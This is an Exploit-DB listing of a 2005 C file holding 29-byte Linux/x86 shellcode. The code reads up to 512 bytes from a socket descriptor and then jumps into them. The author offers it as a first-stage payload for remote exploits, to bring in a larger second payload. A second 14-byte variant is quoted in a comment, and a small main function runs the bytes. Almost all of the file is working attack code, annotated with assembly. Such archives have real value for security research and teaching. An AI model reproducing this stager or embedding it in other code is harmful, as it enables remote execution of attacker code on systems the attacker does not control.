Exploit Linux/x86 - if(read(fd,buf,512)<=2) _exit(1) else buf() Shellcode (29 bytes)

[Exploiter]

EDB-ID

13404

Проверка EDB

1. Пройдено

Автор

CHARLES STEVENSON

Тип уязвимости

SHELLCODE

Платформа

LINUX_X86

CVE

N/A

Дата публикации

2005-11-09

/* h3ll-core.c by Charles Stevenson <[email protected]> 
 *
 * I made this as a chunk you can paste in to make modular remote
 * exploits.  I use it as a first stage payload when I desire to
 * follow up with a real large payload of goodness.  This actually
 * is a bit larger than necessary because of the error checking but
 * in some cases prooves nice.  For a tiny version of the same theme
 * check out mcb's 14 byte (saving of 15 bytes for all you
 * mathematician's out there ;).  The only problem might be that his
 * reads from stdin and can only reads 385 bytes less than mine.  So
 * If you like to go big on the shellcode use mine... otherwise here's
 * mcb's (or comment out the delimited lines below to shrink mine):
 *
 * "\x6a\x03\x58\x31\xdb\x6a\x7f\x5a\x89\xe1\xcd\x80\xff\xe4"
 *
 * I assume the file descriptor is in %esi.  Since that's where it
 * was on the last exploit I wrote.  Change the instruction to
 * the appropriate register from your fndsckcode or put an int in
 * there for and fd that's always the same.
 */
char hellcode[] = /* if(read(fd,buf,512)<=2) _exit(1) else buf(); linux/x86 by core */
//  uncomment the following line to raise SIGTRAP in gdb
// "\xcc"                    // int3
//  22 bytes:
//  if (read(fd,buf,512) <= 0x2) _exit(1) else buf();
"\x31\xdb"                  // xor    %ebx,%ebx
"\xf7\xe3"                  // mul    %ebx
"\x42"                      // inc    %edx
"\xc1\xe2\x09"              // shl    $0x9,%edx
"\x31\xf3"                  // xor    %esi,%ebx // (optional assumes fd in esi)
"\x04\x03"                  // add    $0x3,%al
"\x54"                      // push   %esp
"\x59"                      // pop    %ecx
"\xcd\x80"                  // int    $0x80
"\x3c\x02"                  // cmp    $0x02,%al // (optional error check) 
"\x7e\x02"                  // jle    exit      // (optional exit clean) 
"\xff\xe1"                  // jmp    *%ecx
//  7 bytes _exit(1) (optional _exit(1);)
"\x31\xc0"                  // xor    %eax,%eax
"\x40"                      // inc    %eax
"\x89\xc3"                  // mov    %eax,%ebx
"\xcd\x80"                  // int    $0x80
;

int main(void)
{
  void (*shell)() = (void *)&hellcode;
  printf("%d byte if(read(fd,buf,512)<=2) _exit(1) else buf(); linux/x86 by core\n\tNOTE: w/optional 11 bytes check and exit (recommend unless no room)\n",
         strlen(hellcode));
  shell();
  return 0;
}

// milw0rm.com [2005-11-09]